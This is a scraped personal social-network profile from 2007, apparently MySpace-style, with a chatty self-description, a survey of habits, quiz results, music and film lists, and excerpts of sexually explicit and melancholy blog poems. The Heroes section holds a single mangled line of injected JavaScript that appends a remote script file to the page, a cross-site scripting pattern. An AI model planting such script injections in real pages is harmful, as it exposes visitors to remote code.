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Tulaine

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Well where do i start! I'm fun, careing, honest, relaiable and all the usual bolloxe that comes with being a normal person that dosen't have a pyschotic state of mind. I like to get stoopidly drunk and make a complete twat of myself but it's all in good humour and i can't say that i know of anyone getting hurt in the process. I have a little issue with sex and the fact that i'm a HUGE fan of it, all hail to fucking 24/7, i also swear far too much!! I'm a born romantic but to be honest i'm starting to lose faith in it all abit, guess that's what happens when you get burned but hey ho, it's all part of the life experience and to be fair i don't think i would change the people i've met or the things i've done. They've all helped me in some way, so for those certain people that have affected my life in some way (you know who you are) i fucking love ya and wish you all the happiness and luck in the world.
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Name: Tulaine
Birthday: 16th August
Birthplace: Cheltenham
Current Location: Cheltenham
Eye Color: Hazel
Hair Color: Blonde but changes like the weather
Height: 5:4
Right Handed or Left Handed: Right
Your Heritage:
The Shoes You Wore Today: Flip flops (fucking ace!)
Your Weakness: Children
Your Fears: Being in confined spaces
Your Perfect Pizza: ham pineapple and mushroom (yum)
Your Most Overused Phrase On an instant messenger: spanking you much
Thoughts First Waking Up: Here we go again
Your Best Physical Feature: Nose
Your Bedtime: Anytime!!!
Your Most Missed Memory: Family get togethers
Pepsi or Coke: Either not fussed
MacDonalds or Burger King: MacDonalds
Single or Group Dates: as many as humanly possible
Lipton Ice Tea or Nestea: tea please
Cappuccino or Coffee: neither
Do you Smoke: never ever ok maybe when abit too drunk!!
Do you Swear: Fuck yea
Do you Sing: occasionally
Do you Shower Daily: Ofcourse
Have you Been in Love: About 23 times and then realised it was just infatuation!!
Do you want to go to College: Not really
Do you want to get Married: Yeah but i'll only ever do it once, no divorce for me
Do you believe in yourself: If i don't no one else will
Do you get Motion Sickness: Yep but my grandparents told me to sit on a newspaper and so now i don't, how random!!
Do you think you are Attractive: Fairly
Are you a Health Freak: yeano
Do you get along with your Parents: yes
Do you like Thunderstorms: t'is my fantasy to fuck in a waterfall durring a thunderstorm so i guess you could say yes!!
Do you play an Instrument: used to play the piano,drums and claronet
In the past month have you Drank Alcohol: oh yes
In the past month have you Smoked: nope
Lucky number: 3
&..39;In the past month have you gone on a Date:' unfortunatly got set up and what a mess that was
Favourite colour: purple
In the past month have you eaten a box of Oreos: nope
In the past month have you eaten Sushi: yuck!!
In the past month have you been on Stage: NO
In the past month have you been Dumped: No
In the past month have you gone Skinny Dipping: Only many moons ago not lately
In the past month have you Stolen Anything: As if
Ever been Drunk: All to often
Ever been called a Tease: Yep to be fair i think i get a kick out of it to
Ever been Beaten up: no
Ever Shoplifted: no
How do you want to Die: not worth thinking about it's gunna happen soon enough
What do you want to be when you Grow Up: An artist
What country would you most like to Visit: Peru.
In a Boy/Girl..
Favourite Eye Color: green
Favourite Hair Color: indifferent
Short or Long Hair: indifferent
Height: anything taller than me
Weight: medium/athletic
Best Clothing Style: Quirky
Number of Drugs I have taken: 4
Number of CDs I own: about 600 give or take
Number of Piercings: 6
Number of Tattoos: 2
Number of things in my Past I Regret: i regret nothing
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My Interests

Well they would be my djin, i'm really into my funky house and trance, i've done a few sets in clubs and love it!! bit more comfortable in my bedroom though YEAH BABY! I also like to paint, i'm awaiting the day when i can start selling them for a couple of grand each, it will happen damnit it will lol...

I'd like to meet:

Hmmm well i wouldn't mind making a few friends, so long as your up for getting twated, making a fool of yourself and laughing until it starts to hurt we'll be mates forever!!! I'm not about to put Einstein,Gustav Klimt or Brad Pitt down as lets face it, it's not about to happen so just trying to keep it real....
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You are more than a little eccentric, and you're apt to keep very unusual habits.
Whether you're a nightowl, living in a commune, or taking a vow of silence - you like to experiment with your lifestyle.
Expressing your individuality is important to you, and you often lie awake in bed thinking about the world and your place in it.
You enjoy staying home, but that doesn't mean you're a hermit. You also appreciate quality time with family and close friends. What Time Of Day Are You?
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Music:



http://www.myheritage.com oh where to start, ok here go's, bit of trance judge jules, matt darey, PVD,tiesto,above and beyond all the commercial funky house, indie Oasis, razorlight, radiohead,the cranberries, kooks, the killers, suede, the cardigans, red hot chilli peppers, cold play i think you get the idea! bit of r n b but only really the fluffy pop stuff, all the 80's classic's (sad i know but i grew up in that era) metallica, nina simone, joss stone, jewel,damian rice, pearl jam, faith no more, massive attack hmmm running out of thoughts so that will have to do for now. ;)...

Movies:


TULAINE
Tis forTemperamental
Uis forUnforgettable
Lis forLively
Ais forAnimated
Iis forIrresistible
Nis forNice
Eis forEdgy What Does Your Name Mean? The best film in the world would have to be Bram Stokers Dracula!!!! I find it sooo sad the way he looks for her for hundreds of years and then she realises it's him and then she has to kill him because she's loves him and then loses him all over again! There's so much love in it, it brings a tear to me eye it doe's! i adore comedys, Adam Sandler films, Porkys 1 and 2 (classic's) i'm a typical girlie to i'm well into all my dancing films, dirty dancing, strickly ballroom, take the lead, honey, center stage, i'm guessing you know where i'm going with this so i'll stop now. Also all the computer animated films GREAT. ...

Television:


How You Are In Love
You fall in love quickly and easily. And very often.

In relationships, you tend to be a bit selfish.

You tend to get very attached when you're with someone. You want to see your love all the time.

You love your partner unconditionally and don't try to make them change.

You stay in love for a long time, even if you aren't loved back. When you fall, you fall hard. How Are You In Love?PEEP SHOW PEEP SHOW PEEP SHOW (fucking awesome, David Mitchell if ever you read this i most definatly would!!! told you all about making me laugh and being quirky for all the anti Mitchell fans) he he he Absolutly fabulas (why cancel it?????) The usual girlie soaps, little britain, documentary's on world catastrophies, cant really think of anything else don't get to watch that much tv, always out and about...

Books:

Virginnia Andrews what an author, the sexual life of Catherine m talk about porn for the mind, i swear there's enough wank bank material in there to keep you goin g for years it's ridiculous lol. also any books on the unexplained i love all that paranormal stuff.

Heroes:


You're a Wild Drunk
You can get enough drink. Seriously, you'll just go puke and start pounding them back again! What Kind of Drunk Are You?Hmmm well i.."var x=document·('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

sex with the ex

It's so fucking wrong yet at the time nothing could feel more right, I'm so fucking horny i find it hard to put up a fight, He dosen't realise he's killing me with each thrust, He tell's me "i'm only ...
Posted by Tulaine on Mon, 27 Aug 2007 01:35:00 PST

single

Yep single again, t'is hard to believe, the one i truley loved didn't love me, now i'm left to travel the world i'm supposed to feel free but i can't stand the thought of it only being thee.
Posted by Tulaine on Thu, 23 Aug 2007 12:59:00 PST

needing you

It's the everday things that i truely miss, The way i used to wake up and settle with your kiss, The complete and utter trust that i could never let go, You stole my heart now there's a gaping hole, Y...
Posted by Tulaine on Wed, 15 Aug 2007 02:57:00 PST

lost

standing alone in this tunnelled path, swaying to the heartbeats i used to have, wishing every moment would be my last, alas i fear it's never meant to be, my broken heart keeps betraying me, taking ...
Posted by Tulaine on Sun, 12 Aug 2007 09:21:00 PST

KJMG

A corpses work is never done, It lies in wait for you to return, If you fail to return is it because you couldn't care less? If you return everyday is it because you don't want to forget? Will the gri...
Posted by Tulaine on Wed, 14 Mar 2007 03:23:00 PST

Living

Twisting and turning, kelling over with pain, A thump to the floor and i'm reliving it over again, wincing and churning i can but cry, If this pain were a passion it would be 10 more times stronger th...
Posted by Tulaine on Wed, 31 Jan 2007 12:05:00 PST

rain

looking out into the dreary sky, rain cover's my head, there's no shelter to hide, although i feel the cold somethings happening inside, i get excited by the rain and i don't want to hide, raising my ...
Posted by Tulaine on Thu, 18 Jan 2007 02:31:00 PST

you done it again............

sinking deep there's no turning back, too much has been said no fear holds us back, entwined are ours lives forever so sure, we live for each moment continuesly wanting more, falling in this black hol...
Posted by Tulaine on Sat, 13 Jan 2007 05:30:00 PST

you know who you are!

That gleam in your eye's drag's me deep into your soul,  time is slowly forgotten as i lose all control, feeling alive my pulse soars to new heights leaving all the past and hysteria that had tak...
Posted by Tulaine on Thu, 11 Jan 2007 09:28:00 PST

PLAYING!

wondering through lushful ripe trees my standing lengthens as my knees become weak, whistling whipers caress through my ears my hand locates an area no one should fear, sinking deep the tingling sensa...
Posted by Tulaine on Sat, 16 Dec 2006 07:22:00 PST